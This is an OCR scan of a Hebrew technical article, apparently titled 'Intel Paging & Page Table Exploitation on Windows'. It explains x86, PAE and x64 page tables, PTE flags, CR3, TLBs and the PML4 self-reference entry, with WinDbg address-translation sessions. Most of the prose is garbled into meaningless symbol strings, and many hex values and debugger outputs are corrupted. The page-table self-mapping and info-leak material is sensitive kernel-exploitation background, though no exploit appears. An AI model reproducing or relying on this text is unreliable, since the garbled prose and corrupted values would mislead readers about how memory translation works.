<, 1Pagefile* ~ < 7 Tx ., 14%s L, <] «4s {xX] sqs {

Read/Write ! x « X SPDESY Lo~ ~s 71 x s < Raad/Write 1 4RIV .2

v v

.ReadOnly ' x =~ «xs I x s 1.,

~
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, o~ L ox | 14*s ¢+« 0 x+« s ] -Owner *xUseWSupervisoP XU4 8 s 14 L _
i4>*s o SMBP x_ _*I: _Kérde)fSupervidon 14 + . WUser, 144 _ I x s
Usere 444 x v e 0 b 0T
L . Write-Through Caching® « |, <. WinDbgt ¥ * x « s { | Writa Through 4 1 _ )
X e e s 417 XWrite-Back* . v 6 L, -1 xS

T N BN -x\inDbg* N x:_x_.ss  {.I @ache Disabled*D .5)
.cachg ~x 1 _>* . _ _dAs L x|

Lhs 1«1 x> s L, 4 s J-{Adcéssed XA 6~ I x s
S ax s T Xy s x o7 L e s T
0 « x s xJ,,Ax ’,,xv_~71.|>< . X S

T4 AL x ! «WirDbg* B - X «*  { | {LargePage+_Y¥*x )-Paye Sjze *S .8
“x ., ] 4¢s I PDE. L +RBFNS._ . , - _ X L Taple Cevet 1 «PBDES + « s

L. +x PageTablex ( x4 x> 4 ¢4 I x v x 4L «x1,4{xs Tx
x| PDES s @ x & *X s X .n fL+x 1., {%ss Cx,44%s .
AKB x | | xy oA Y Lt L x  ANMB % MArgePadd €uxxIl v 41xxs x  sulxqs X

PDE  x = Qlebal sxG 9 ¥ I |

casdevorg, Tx w0« s v 4 . PDE VX~ JPTESE &7 x|
Page Table Entry

31 11 9 0
Physical Page Address Avail.|G 0|D AICIWIUIR P
G - Global
D - Dirty

A - Accessed

C - Cache Disabled
W - Write Through
U - User\Supervisor
R - Read\Write

P - Present

e At x> PDEY X H Y ey, o X 0 p s S

LAl L e xos oIS xog Lt xIox] s L - Dirty Bits xD, A0 x 1 {4 %
-S"X
CLX e Ux o Lax st TR % PAgeSize. LY 14 Nso 20 T A
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_s~ |XVAS ,“,_xl LY I s x S'PIE‘PDEEX[§-~B)U&|§X‘|G.3J~ s ¢ s L
X  DLL ., Ee¥x! i) 11« ddisi o .ixA{ __ PTE._xi 1 it
Translation) TLBs -~ =~ 1! « 1. x < T4+« 1] s s 4x 4 4
I B ., !'x X417 .Context SwWittkH L s (LobkasideBuffer
, « (Exeeutable « X s T x . 14§ 1 x _ NXBES  <XXS. X XX "IXX s sy
oo - x 1. % Data- Ekecution PreventiprDER 17, _1s 1, x s Do s
s 41> _ | x < Executable 1Y .~ ¥ T xi Il AXSY s x 4 x 4 s 114
TR
s " X X X « X s S s :p'n'E,g(pDESTd;R]fSCd\st‘xIx{
s X s Pt MMPTE "+ ©.X « .o« DL ’ ]
kd» dt nt!_MMPTE .
+0=000 u
+0=000 Long : Tint8B
+0=000 Volatilelong : UintdB
+0x000 HighLow . _HMPTE_ HIGHLOW
+0=000 Flush . _HAEDWARE_PTE
+0=000 Hard . _MMFPTE_ HARDWARE
+0=000 Proto _MMPTE PROTOTYFE
+0=000 Soft _MMPTE SOFTWARE
+0=000 TimeStamp . _MMPTE_TIMESTAMP
+0=000 Trans= . _MMPFTE_TRANSITION
+0=000 Subsect _MMPTE SUBSECTION
+0=000 List _MMPTE_LIST
X Lo~ PTES + 1 , « - _ oo r 17 xUnion- + X% s L o+ X L
Valid-s ¢ s %) 4417 ] T x ., 1 4 SMMPTEXSOFTWARE S{ ©x(” © X « ¢ 4.7 {4 ",
o T x 440 . x 1 T x . | { MMPTE_MARDWAREX « {(bitx * | _ _ _
. MMPTE_HARDARE
kd: dt nt!_HMHPTE HARDWARE - B
+0=000 Valid : Pos 0, 1 Bit
+0z000 Dirtwl : Pos 1. 1 Bit
+0=z000 Owner : Pos 2. 1 Bit
+0=z000 WriteThrough . Pos 3, 1 Bit
+0=000 CacheDisable : Po= 4, 1 Bit
+0=z000 Accessed : Pos 5. 1 Bit
+0=z000 Dirty . Po= 6, 1 Bit
+0=z000 LargePage : Pos 7, 1 Bit
+0=z000 Global : Pos B. 1 Bit
+0x000 CopylnWrite : Pos 9. 1 Bit
+0=000 Tnused : Po=s 10, 1 Bit
+0=000 Write : Po=s 11, 1 Bit
+0=000 PageFrameHumber : Po= 12, 26 Bits
+0=z000 reserwvedl : Pos 38, 26 Bits
FovoX L s T X s *roox 44 T4 s 417 woov oS s oA
JA L% WPAEXBE D X Ax 4 . X4 . sTX s Lfs s Xy s
. X s
N T T T O B s X s IxXx ]y
A I o S A WiDbg*x.formatss ¥ H x « s _+ L4 s o 4.7 XS
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X0X1D6s PTES : ~ ~ X .« _ L 1. Ox163PDEX PIFNs:

~ a ~ ~ A o a

:0x759638

Technologic

1 4L s

x

1IB: {4 L« %X 1.4 xs DX x D] s boOX

kd: . formats 7596381b

Evaluate expression:
Hex: 7596381b
Decimal: 1972779035
Octal: 16545434033
Binarvy: 01110101 10010110 00111000 O
Char=: u. 8.
Time: Wed Jul 7 05:10:35 2032
Float low 3.80851e+032 high 0O
Double: 9. .74682e-315

0011011

I

S

a ~

.0x163s PDE*

Coe L 1L [ 1

°

AT AT x| x T

S T T A,

OX81B 4~ . s o XL 14 X PTEL PFNS T340 <« "3 . 1«1

X X OXx759638EB: X4 L« x 1., {xs X
S I T T R (N A
.~ * LPa@ Directonys, . _ 494 s
ls Fodlox ” {7 L %

~ A > v v >

PDBR- Page Directory Base-s .o XX rOR3 , ¥ k 4

1 ,
CRZ x
Y CRF
X x ., B2bit
s 1

I4.s:s _EPROCE&S {1+ ys

x Lls 1¢4.4s X x 1]
e
FoXOY s . R Llx T
DX x 1]l <« | Dirgctory * s . x 7
NE F XY, oS ] 4L s - B
X Page Directory L _ 401 s
X x I ]s * + Register _ 1 Lolx

. EPROCESS.Pch.DirectoryTableBase

kd» r cr3

cri=728395a0

kd: . process

Inplicit process iz now 85374490

nt | _EPROCESS
+0=x000 Pcb
+0x018 DirectoryTableBas=e

kd: dt _EPROCESS 85274490 Pcb.DirectoryTableBa=e

o 0=x7e8395al

, + 1~ X x  DirectoryTableBasé

Lx~ D O x 1, X

1% s x s, 3hit

1«41 _s”: _tontextswitch , -

1 s

*

x s x 4. 4014

.Ringd- <« . CR3l Y "~

:X-IL\.X

1.

1 x D S S FXY oL

DX K e X T kX X RN

Lo s 1 x

75
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Technologic

x86 PAE Memory Mnagement

Lo 1 4GBy «~ ~S _ Yud L x 1A Fd 140 s TwolLevel Page Tabfe,K * x "y (s

x ox A FoLoX ol . L.ox ox X T B Fdos o [ T I T

clx” v RAM L x o Y1 ¥ s s . . Pagefilee XRAM{ 4GB s ¢ Xk { X

« 82bit . PTE - ~ ¢ % s 4L« x0T i x| ]Y s s Xy s L
.OXFFFFFFFF

L X | B2bit | <*-PenitumPres G«  sinteli386 ! * s« <4 _199571i " X x

~

-« X 4 X PhysicdlAddressBdelision- PAE © ~ €368t , . 1 ¢4 Pxxexoo ] X1,

DX S IxXx ] @bty 144 0. . 4S4 . TARAEL S L. 7L
I4Ls: PABXWAE ¥ _x: RAM 18GB +, 1 _4Y" s7”x UGB X @ xIs X% | |
DX S 4 s T XD ] g sIOMGR 1 X K T EX T A4S Ty s P xxx s Do
LXY x4 T 44l yqusc L] TXx | .s"x ] 48GB 1¥RX$X4{C{ s

32bit 40X L x3pbit, L ¥ KA T X DX X x ]

CR& O( st 11: _ 13-4 _4s 1sCRAAY S ¥+ . PAEI~ x| % "

~

‘WinDbg -+ ~» ¢ % DS PAE - % 4 sL Doxx s el

kd: .formats @crd
Evaluate expression:
Hex: Qoo406f9
Decimal: 263929
Octal: goooionas?l
Binarw: 00000000 0QOQOO100 OQoOO0O0O110 11111001

P |

s Ay . v 8"k M X, b A X A x4 s 1" X PRE .. % Als Lo L

(194, 64GB - ] ¥2836% L0 < v x|
7L B2 A D24 - 4 T s Tt A x4 s 4T X 4, X ] s

= x2/64 4 1€ ; o X j 3 ) . =x L, 1949

Large . L ! x¥s Il BI28B=4KB. N 3s Tx2 448 L (_ _x s"x_

Page Tabler ] 2MBI <~ s PDE.L | : _ 12MB{ 4MB{ | , 1, PAE ‘"Page

X 77" I XIGB L, T X JAEPDS L1 L X 1N g2MB N, b X X)L X

l4Lrs: 4GB! , x X x LY X .o X .

~ v oo~ ~

S~ s e o x0T L1000 Aw X817, {uxs 0k D X T

v o~ ~ ~

AT X2 Lop A Xx . LD x  9A9 a5l {o_ sl SPTELRDE" X ., (
117 Entrgs. S5« o« x . L G L x Ix L ix gL ex 1. dxs X

~ ~ A ~ v o~

PDPT - v 4.7 14 x s

~ ~ > ~

S T X .o  o« ] xsx o 4x 4 o PageDirectoryPointer Tabld x RDPT ~ _ ~ s " *

~

G !, i x _PDBEDsI 4 _! 1" 1 s o Thre#lL&vel Page Tablel x.Paging
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Technologic

PML . . TADIS 4« L PBS. xi_ __ PML Y4{L._ st ~Xxs “x. 1 s =]
t YDPE(XPDP + ¥ X « X TPPE XPDPTE+ « ¥ ] X *PDPT Aw ¥ 1,194« » X« sCs
bov e b Y . IRDS L LPERNS Xiiu. S 4] B4} X SEIX 61 4% 4 L] L oxy
Lo X 2% S 4" s, x T L D LPPE L X S X X XD [ oy Lo S
Dx i1 142 x0T X APRPT PPE X LS 1), Wl T e s Lox DX Do x 1,
St osL LI x T 9 T HIGHAPTEPDRE 1 A T4 s Do x T {. T oxx

PAE + 32bit - x 1~  PDPT1-PRE4 « -~ +RPE4 {1« v X 1 29 <« +411A4

1GB ! . SPD i ). TxxA L. (1 x_ s .41 * PRAR _k9 1.
B2-bit* 14 Ls 0 o« o0 kAP XM@RT L% X APPESX T K X 14 ¢

PAEX86+ . = X 4X X XH . dxXy .S x L Microsoft! « T4 L2, < Xs

Yirtual Address

POPI | Page Directory Page Table Byte
(2 bits) Index Index Index
{9 hits) {9 bits) {12 bits)
a OTTTTTTT] | T TTTTTT | T TTTTTTTT]
Control
Reqister
Page Directory l Page Table ]
Pointer Index Page Directory "ﬁ 4 KB Page
POPE PDE [ PTE
Page Directory 512 Page 512 Page .
Pointer Entries Directory Table Entries Desired Byte 4=
Entries
- 1! L PDPE. 1 .<"xs | . I x {PageTable * Devet L1 T xox 4]

POPE . 494 s X xXCR3 5« BPROCESSIP¢biDirectdaryTableBase

i1 x" {1 A*PTEIPBES " 4 > x "I FloxoGdsx 4 s X L X x| Os T X i x 7
Fd7 X OSPPEL A1 AXx 4 X8 ¥YUXSS TX X s PAETIXTA s Lhox
S T . N D R S I BN I A U AU S IR T T S S

s PFN] #1438 1 4*12M4 4> PENIL x4 _ + 472044~ s+ AT 4Es
P A36%0 0 494 x X x ] X1, 0 s o d

~ ~

Execute - XD Bit + _ s 1: <ontel 4! 1 NXBit} , ~ 83s ) ( " x{L.2s 14%s

x L ]) IBntys x 1dd 0 x x L 14 _ L Disablel s T4

~ [N ~ ~
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. x . = . ) % X x
{1 . 1 s 1 S s s x xs 715 ¢ 1, Hx % X SSp wl xx.s“( S+t .88

E D x.s WinDbg** Y. x4 _  DEPs 14{xs

Flox oGS 1 T s Ty s s ¢ {x 4 _s
.0x82854050 © * x 1 | PAEXB6"1 *. 4L« x 1. 4 XWinDBgx::~1¢ > e wwlL
PDPq‘s L . X: X+ J\. S\ . ” y 'I - -

kd» .process
Inplicit proceszs iz now 25a74490
kd: dt _EFROCESS 85a74490 Pcbh . DirectoryTableBase
nt!|_EPROCESS
+0x000 Pcb :
+0x0183 DirectoryTableBa=e o Nx7ef3i%5al
kd> r cr3
cri=7el395a0

« W PDPT Tl L L, XX v L X TR 4 TR DG s i xs o 0y
OX7E8935A0: 4 ¢ 4 | s I X x I |X

formats* .~ ¢ 47, 4L exqi.,4{xs I Xx I ]s A T

kd> . formats 82854050

Evaluate expression:
ex 82854050
Decinal: —-2105196464
Octal: 20241240120

Binary: [10000010°10600101 01000000N000G00
@p

Chars: .
Time: #xnx® Invalid
Float: low =1.95795e-037 high -1.#0NAN

Double: -1.#QNAN

FXIPPS-x X x spps - o x POPY |, I A fkss | x T ] s . X € s T X S

{1 ¢ S- I x x

‘WinDbg*  * x _ . € 4" g4 x> L,ix {1 x" oy 4], L X

led> Y0y000001010000

Evaluate expres=sion: 80 = 00000050

kd: Y0w001010100

Evaluate expression: 84 = 00000054

leds Y0Ow000010100

Evaluate expres=sion: 20 = 00000014

. X s = X . X R DX x|, L e xqd. 4 xs XX o

2 « | PPEC X. « XPDs L R I s DX x D] s M

v v o~ ~ >

O0x14 _ ~ ! PDEX *. « xPFs. L _ 1 4S4 s I XxPDKS2 .« . 7
.0x54 <« PTEC *. « X . I x s L. 4 CPEs3:xx I ]s

0X50 x ” « . S S i x

~ o~ <
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fLex 1. qx X . 141 Y {RageDiractorg x 1 { * 3154 4 1Xx§18x%y 45
. . ., . 1, L, ¢ x dq-l dc;y da 1 Xl xx “=>><s,, JZ-|'|(.‘> LY 8, ¢

~ o~ a

PDs 1 DS s g% C LS g ldc, a1 X

kd:r !dg 7=B8395a0+8=2 11
#7=8395b0 00000000 6E£025801

< *s DX6F025000 - 4 ¢ 4 s - X x o IPDS .« . 7 Ox6F025 ®PBs . (PENS
117PPs L 4 S R s L DX x 1] s e

> ~

kd» !dg 6£025000414=28 T1
#6£0250a0 000000007 00140063

X x . ] s OX‘]_DOOOGV’-{C q S XX 0 PSS - \tOlegO'L.;’PFNSL ,,,SXX

> ~ ~

x "y Dxx Dps D44 xd e 4 xqi.qdxs

kdr !dg 001d0000+54=3 T1
# 1d02a0 00000000 02854963

. .0x2854000 : 1 ¢4 | s S Xx S X . x 0x2854+ ¥ PENx 1 . { x s I X

> > ~

PR s Cx x o |s T LX WX 4L . X 1127: { X X (15 x . 1 s I j - $

sS T . (AL sxqi.q4xsx 1400285400 x X x I | X

kdr dco 0=32854050 L3

82854050 Y0207369 72676f72 £3206d6l 6f6etebl is program canno
B2854060 65622074 62757220 20626920 20534f44 t be run in DOS
kd: !dc O=02854050 13

# 2854050 70207369 72676f72 63206d61l 6f6ebebl is program canno

# 2854060 65622074 62757220 20626920 20534f44 t be run in DOS

s x5, XL X Aviop XS L IXXX IS I 0% 00 X, L X 140 s

471 A x ", s DX x 1] s L, X % s s s - x

~ ~ A ~ A

kd> lvtop 0 0x82854050

HBEVtoP: Virt 0000000082854050, pagedir 000000007e8395a0
HB6VtoP: PAE PDPE 000000007=8395b0 — 000000006£025301

HB6VtoP: PAE PDE 000000006f£0250a0 — 0O0OO0OO0OOO1d0063

H86VtoP: PAE PTE 00000000001d02a0 — 0000000002854963

HB6VtoP: PAE Mapped phy= 0000000002854050

Virtual addres=s 82854050 tran=lates to physical address 2854050.

s s s {1 %L 1 x . A {1 ] ] x s ,, s s .

FAA 1T xx L.s x4 s fulptel s xxDse w44 {98 Xx, ]

kd: !pte 0=82854050
V& 32854050
PDE =t COE0Z2040 PTE at CO0414220
contains 00000000001D0063 contains 0000000002354963
pfn 1d0 ——D&——KWEV pfn 2854 —G-D&——EKEWEV
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ALY s SPTES S« . Ldpte SIUXIWXPENS 4 4. L . X X

~|,-|vsv I x L L R © s

-L X SXx D IRDES, Tidd Yo x x s .
S 4Y x4 LK syt XIW) ReadMVrite ; €~ .- B 1S X. 5 (AJRAMX S (
.« XS bxe s  PTES] 1P 2% oxpiy* 1 4 417D x " o X XuR) " b X xs x| (),

Q) 1L XX Ly I x . X S

~

1 1L s x4 s Lox X T 04 PTB XPDEs 1 sx X1 x XOXXyXogxD sk v X ]«

" s X fx

SX T e T i e e o s Ly

x64 Memory Management

s ldg: roux X T x QOptefon Qpteron ¢ *s {s I AMP 2003 { " _ %
B4 L DX XX D BAN ], XXX F X 1. L X8BKOA L 1 lixilsxic 147X
1§ 0% A L. s o4 - 4 4LT6EB o 1 _ 1 x x { X DX X x|, DYoL P oL
X1 M8 A A4S T xxx D] X1, 0 s 4Y TBA . _ o~
256TB L . @ x X x ]
bxoos o ox X L X VIBEBA Lo kT 4 XX B L AR Dy JHAE XD T X e
Canonical Addresses " * x 4 7 x 7 « D x X x 1 148 o A4 T xS x ¥ C L 8 XY
F0- 40 ~x1.,4xs P AR S I R I N B P S B B Ll x A 140 s
11 .t 1 .OXFFFFFRFFE FFFFFERXFFFFS000°00000000sers  ~ OXYFEFF FFFFFFFF
L X2BBTB «~ xS I 4Ls i 4¥Y"s JI28TB e B X ¥V X Xx %k gs{XFL 4 xC
AT X DT IA8Y p 4 A 2SS AT X x D s p XY RABY L SR IS L] L
s Xy X x| Dy 0 psx D RET-x TNl s X ] st
UserMode-, s 4 Y L k4l x4 sy g4 lx 71X
16, v 4 0, - A s i dr s 4 x2BETB BN L NSY 4 .~ L S

9 PMLA- _ 11 4x 4 _ s @ by | 47X LS Wl X s

_x64 © 1PDPT* _  IX86 PAE + 12441 % xRBDPTL* ), « ! "4« 1 4 ____ +14+%s
1% 1. 1512GBX » | 45, 4% 4KB+ L~ _ A5 4x  (Cx. 14¢ B _  x:

FA 4L X e T x o L X AGB e 4 1 X s PRELL L o AaL % [X§11)4 X
PRL . ~! "4~ 1 +4___ 9PDs1,d8" {4+ H1dTs_ 9-x8&PAE *s 411~
164 s Tx. 14X 4 {s12xp 4 _

L « XS XLl x 4 s xPageMapbevel 4% PMLAX (| Tis. 4sxx x{s s s 7 X

Dx X ], x86* Raging,L . X" " x4l X xx x"IPXE sPMPAE L _ ¥ _xH.357X -
4. LRDPP® X _ %4 x*PENGLH 1 _ ! x8EPAE LL ] x." " x4l X x"y.s
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L 4x 4 PXES12 _ PMLASVAS I X« w ¥ . L X" .xS 4 x
148 L XX x ] X7, X4 _dx151286TB X 4 9§ ¢ 51aGB* 512
F X861 x TTox X x Ty FAdoy s o b q. 1x 4 s

a ~ v o~ v > ~

X86PAEL . X " " xNKBits X"y xs8x s{1%ss

*xolol T I I ¢ X x L Jcoresecurity.eom- - T X w0¥st ) sbXOsy e Y a0
x64 110 146
Linear Address
47 39 38 30 29 2120 12 11 0
| PML4 |DirectoryPtr | Directory [ Table [  Offset |
| | T
r a
79 ° 12 4-KByte Page
Physical Addr
PTE -
Page-Directory- PDE with P5=0 40
Pointer Table 40 Page Table
L Page-Directory
LfPDPTE [ ] 40
A9
40
—=| PML4E
40
CR3

Figure 4-8. Linear-Address Translation to 3 4-KByte Page using IA-32e Paging

< 111 _ (_ERROEESS PabDirectoryTableBase + CR3) , : x <"  { I H

~ + x4 *Paginy Eeved < { . _ Coe ~PDP® L v "PML4X., _,," 4194 s CXexo ]
E XY L, oS ] 1L s s

Fd . <194+« 4 1 0xFADFBDF670: 1.L ~ x 1 ., { x's SXx s . XX XY o,
*x i ]s FT T XX,

lkd> .formats 000000fadfbdfe?O
Evaluate expression:
He=x: goooo0fa dfbdfe?o
Decimal: 1077495592560
Octal: Qoo0000017533757373160
Binary: 00000000 QO0COOQO0O0OC [OOOCOOO0 111211010 110131311 10111401 111100330 01110000
Char=: . ... ... D

PR PEL L W PPRL L < AL PDPT L < LUORPMLAL | < D0
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PML4 o _

kd>» r cr3l
cra3=000000002239=000

SN R NI

117" PXELPFNS &~ o« "]
ld> !dg 00000000223%=000+3 L1
H#223%9=008 00400000 20321867
PPBS © v Ox20321000 ¢ 4 €4 | s CXX IPDPTS XITop oAXANT X XL ]sx T s X
kd: ldg 20321000+0+%111101011%=3 11
#20321£58 00=00000"11522867
117" PDEYL ~ s+~ ©Ox41642000 - 1 ¢ 4 | s XX IPDs « o 7 x 4 17 x x
kd: !dg 11522000+40+011111101%=3 11
#115a27=8 02100000 6bc32867
PTES © o+ OxBBC32000- 1 ¢ 1 | s CXX IPFs « « 7 117
kd: ldg ebce3zZ000+0v111011111=8 1.1
#eboiZdefd 82800000 370£L86Y
P4 11X s1 . 4ss Ox870FBOOQ X ¥ ¢ 4 s I Xx I ] s x _x " {0
{L+«x1q. 4 xs LoX X ] X I L s s ¢ 949 S DX X
kds: 70¢011001110000
Ewvaluate expression: 1648 = 00000000 00000670
kd: ldc 370fbe70 L14
#I70£fb670 4cdcd548 4£57204f 21444252 6deS54420 HELLO WORLD! Dem
R#3IF0ELREND 74736e6f 69746172 56206762 REf742041 on=trating VA to
#3I70£bE90 20415020 6enl?274 74616273 206ecfbd PA translation
#370fbeal 65646275 Bepl2072 36387820 2034365f under an =86_64
#IF0ELEDLO 68637261 63657469 65727574 cooccllZe architecture. . ..
kd: do 000000fadfbdfe?0 L14
000000fa " dfbdf6e?0 4cd4cd5d48 4£57204f 21444252 64654420 HELLO WORLD! Dem
Qo0000fa " difbdfe80 74736eb6f 69746172 S620676e 6£742041 onstrating VA to
000000fa " dfbdf690 20415020 6e6l17274 74616073 20626f69 F& tran=slation
Qo0000fa " dfbdfbal 65646275 behl2072 36387820 2034365f under an =86_64
000000fa dfbdfebl0 BEBR3IFPZE1 B3657469 R5727574 cococllle architecture. . .
. XLl hxos 1% XA 1,1 osTx T s
:lvtop . e FY F XY, .S
ld> lwvtop 0 000000fadfbdfe?0
AmdedVtoP: Virt 000000fadfbdfe?0, pagedir 000000002239=000
AmdedVtoP: PMLAE 000000002239=008
Amde4VtoP: PDPE 0000000020321f58
AndedVtoP: PDE 00000000115a27=8
AmdedVtoP: PTE 000000006bc3zZefd
Anded4VtoP: Mapped phw=s 00000000370£fbe70
Virtual addres=s fadfbdfe?0 translates to phy=sical address 370fbe70.

8 2
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Ipte ~ “PXE, PRE, PDE,PTE! ~ | s 1. %« X Mo O] T xh sk i, x {0 s o 4l X
kd: !pte 000000fadfbdfa?n
Y& 000000fadfbdfe?0
PYE at FFFFF&FE?DBEDOOS PPE at FFFFF6FB7DA0LFSS FDE at FFFFF6FB403EBTES FTE at FFFFF6807DEFDEFS
contains 00D0000020321867 contains O0EOOOOO0115A2867 contains 021000006BC32867 contains 82800000370FE867
pin 20321 —-DA--UWEV pfn 115a2 ——DA—-UWEV pfn Ebc32 ——DA—-UWEV pfn 370ib ———Da——U-¥
Translation Lookaside Buffer
-L x 1y s X, s LL Xl , 114X Xl PALVYA ¢+ x ¥ %8 ddds b xo
x ] ¢ s s qxyx s o ICadheg s o pH X e, RAMT 44 s o X
141« s {s { T L, bx s ~ L1 x {s
bx MMU-t _  « . 1TLB % xx 4 Franslaton Lopkaside Buffer ~ «” s ¢s = x 4 s
s | {TLEB* S L XY L s x | x < I . X oo L s 7 | % s ,
, s ¢ ] L Fld s L X s hq X TR x4X xoidlsy Ar {7 ixxx oL 1S
L] ox s b4 XFRLBL,  *T¥AxXd_« " FOXSYXTLBS X ] X © xRAMY A4 X X o4 LR
TJLBs . x <1 _ 4 s 4Y psq4 L« s X5 o
X 47 14 L X ] 7 X . L TLB* ~ WXS 4 857 XT. X v+ q:Su® \.|’><|_s|_ ]s "Tx xiusX s
X« A «
physical
CPU
address
Page # Page frame ﬂ
Page # 140 31
compared 20 38
to all keys 130 22 TIB 1023
simultaneously 129 14 it ;
19 | 100 2
If found, 21 36 5
- TLB hit - 860 33 4 [
no memory key value 3
access required TLB %
. TLB miss 0 physical
If not, TLB miss Page Table memory
s € vo_ov _TLBs.LY,  T*x { s . 41 .
SelfRef Entry
*xol] FY oo " Lo PS04 sy R boq Ix 1x 4
PSS s XA e x . g x x Xx o] FdL X s Se )T o s o, AT
N oo s  XT st s, X S L s s
q X s | - 14 s ST Lt 4Ly xq .4 X X X ] siuxX s LS sy xxl s e 1 «
Page Table . x * REN £614  _lsxx L% K*Page Table | L | "
Intel Paging & Page Table Exploitation on Windows
www.DigitalWhisper.co.il
83 2018 1, xQ7xx 4 ¥



Technologic

*x x  XPpPggexTabled 4 "7 11 , - Page-Tabks ., {4:x« 2X%xx T i x4

. 1¢4 s =x ., ] 4¢s

Tx .1 s SeERefEMMyY " _x " d .~ xs xS s { X, s, s Ix],

~ ~

PMLY - @ x {PMLS x ¥ ¥ s« XFeurLevel Page Fabler ( )-6414.*x 1«14 1.~ = 1:
S XBML4 X xPENsx w0 4 POPT L PENX | 0« 04 s 0 X X 4. (
PFNs © « SelfRef Hntry] _ _ PXBE 0x1337000 - 1 € 1 s PML4 J & Xs x¥x I

F)I\/”_4'>< 0x30s . X i« x . 0)()1332 . 1 4 n on

_s ,,X-|‘s5152(38v|_vl~xyx DX X x I |s ><'|,,V S “v”s D G
X0x30s L X4~ Xx 0 PML4A S 7" sd s {XPPPTS PML4*_0x30 1 _

oo XS spDS L, x DX X® " lx v PML4 {PRNS s 4 X s x BDPR ", x " L _
-1 _ -PML4 LPENs  © « L 1-1X0X30S_ +~» * 4~ PF] , xPMH4 + s x o X7
PML4* SelfReferencingg -~ * 4 +~s  _ _~! 74« s7x T4 PTB 1. 1Xxs
-4 - _Y¥Yoe o s¢ . ss 1.  RBRML4 e _ 4% 4 5s X PAliNgXTabler | ¥

.. SBERefENty » x X s 4. s I Xxils s .. PMLAS X {1 :x
I« ¢ OXFRFFT80C.06030000 880 - , PXE

kdy . formats f£f£f180=" 06030000
Evaluate expression:
Hex: ftf££180c" 06030000
Decimal: —255035057176576
Octal : 1777770600600600600000
Binsry: 11111111 11111111 QOO011000 00001100 0000010 00000011 OOO00CE00 OO0t
Char=s: ... . ...
Tine: *xxx% [nvalid FILETIME
Float: low 2 46384e—035 high -1 #0HAN
Double: -1 #0OHAN

Con wovov o w X0X3B0 kS| ks 107 A ¥ S d 94, s x o 0X 1 4ss ,

- 1x <L OXIFFs. x () PXE . Tr-~sxselfref entry ~ x * DX x 1 ]s FXOY L,

.coresecurity.com
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OXIFF + x Ox30 ¢+ |~ o~ X7 L Xx oo ]s o, x X
v
PML4 —> PDPT —> PD — PT
entry Ox1FF |U/S entry Ox1FF |U/S| entry Ox1FF |U/S entry Ox1FF |U/S|
L | | [
. 1 4PTEs . xAFNss CSelfRef Entrys  ~ PNML4=PDPT=PD=PT ~ x x 4 | _ ,1i x « .,

PML4 « . _PFNsx *« x s

DX x 1] s e v oL X , 1 x4 s .|Sé1f8efE,nt,rys~ :,_,,~¢A:><x~><x,,'.uAs
SelfRefEntrys  © « SPXESS © 1<+ "  IxXx I ]s . PMLA L _ L ddy<AT~4
S, XY CSPRC X T fes s g X x| pmx
« s _ _ _PDPT x {RFMsS + Y @ X.s PXE‘ ~ PPFNs xS PEN.: { _
. PXE* - SelfRefEntryy + - ,0x80Q°0D000000' Q 1% x 1% x4« x1q.4x
, S XPDPBS L. 4% 4 s DxFRFF18QC 06080000 4 i « X 1 .~ {$x.Ox30 * x © | s
T N I T B N S I
kd: formats f£££130c" 06000000
Evaluate expression:
Hex : fiff180c" 0A00000N
Decimal . —255035057373184
Dctal: 1777770600600600000000
Binary: 11111111 11111111 000131000 00001100 OO000110° 0O0C00C000 000000 oo ooooo
Char=s:  ...... ..
Time: *%%¥%¥ Invalid FILETIHE
Float: low 2.40741e—035 high -1 #0OHAHN
Double: 1. #QHAN
. € 00x40000000 @ X 4 L v X . 4% PDX XK JJXRK s .8 X
X

X

S 4~ 0-0x200000° 1 {4 L« X 1. 4 X PESX XX D I X XPDES. L8 X { oS

PDPT | 1 74 s
« X s |Microsbft_ SelfRef Entrys . 4 x 4 _ s 47 o« s ss ],
OX1ED ~ | PXE
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L B

: WindowsDriver Kit) WDKs _

Technologic

kd: r cr3
cr3=000000001d5d4000

kd: ldg @cri+led=8 11
#1d5ddfes B0000000° 14544863

x

X

.OXFFFFF6FB 7DBEDOCD * ‘+ L>**PML4 |
.OXFFFFF6FB 7DA0000D x ‘+ k>*7 x4 PDPF

OXFFFFF6FB 40000000 * :+
OXFFFFF680°00000000° X i k™™ x{_ PFss

« L 1 IntddkihHeader*

fdefine
fdefine
fdefine
fdefine
fdefine
fdefine
fdefine
fdefine
fdefine

PXE BASE 0xFFFFFE6FETDBEDOOOULL
PXE SELFMAFP OxFFFFF6FETDBEDFEBULL
PPE_BASE OxFFFFFE6FETDAO0D00ULL
FDE_BASE OxFFFFFE6FE40000000ULL
PTE_BASE
PXE_TOP
FPE_TOP
FDE_TOP
FTE_TOP

0xFFFFF&6FETDBEDFFFULL
0xFFFFF&6FBTDBFFFFFULL
OxFFFFF&FBTFFFFFFFULL
OxFFFFFeFFFFFFFFFFULL

1 +Page Tables 1

VA

X J\\\L-|X XL xd i

,sﬁ‘s AI-|s

X S

x 4L 1. 1%
.PTEXPXE, PPE, PBE:

.

] s | s X R

~

L PTES

x

‘WinDbg ¢ ¢

.

x { xPFXPDPT; PD, xLPML4 ~

Info-Leak. " w *

KX xq_ PBss
1

S B I

a >

1.0 4%

LS.
« q{s
Dxf L s
X ]
i x

S

T4 Axxx xs

voL Ll X

kd: lpte 200000

PHE at FFFFFGFE7DEEDOOD
contains 0Z2E0000024A7EBE7
pin Zaa?e ——DA—-TVEV
kd: !pte 400000

PEE at FFFFFoFE7DEEDOODN
contains 02E0000024A7EBET
pfn Zaa’e ———DA—-TIWEY
kd: lpte 600000

PHE at FFFFFGFE7DEEDOOD
contains 0Z2E0000024A7EBE7
pin Zaa7e ——DA—-TVEV
kd: !pte 2000000

PEE at FFFFFoFE7DEEDOODN
contains 02E0000024A7EBET
pfn Zaa’e ———DA—-TIWEY

V& 0000000000200000
PPE at FFFFFeFE7DAOOOOD PDE at FFFFF&FE40000008
contains 0000000000000000
not walid

V& 0000000000400000
FFE at FFFFFEFE7DAOOOOD PDE at FFFFFEFE40000010
contains 0000000000000000
not walid

V& 0000000000600000
PPE at FFFFF&FB7DAO0OOD PDE at FFFFF&FE40000018
contains 0000000000000000
not walid

V& 0000000002000000
FFE at FFFFFEFE7DAOOOOD PDE at FFFFFEFE40000080
contains 0000000000000000
not walid

PTE at FFFFF&2000001000

PTE at FFFFF6E000002000

PTE at FFFFFe2000003000

PTE at FFFFF6E000010000

*

pe X "XXx I.],SS

1
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L « 1. _2MBrd3¥~_" PPES: | k... PTEUL 0 4 x*x:ils .
, T x . 14 2MB s  Pdge Tabler | , -~ X OXIDOO4KBr 1'%+ 40~ x 1. 4x ~x., |

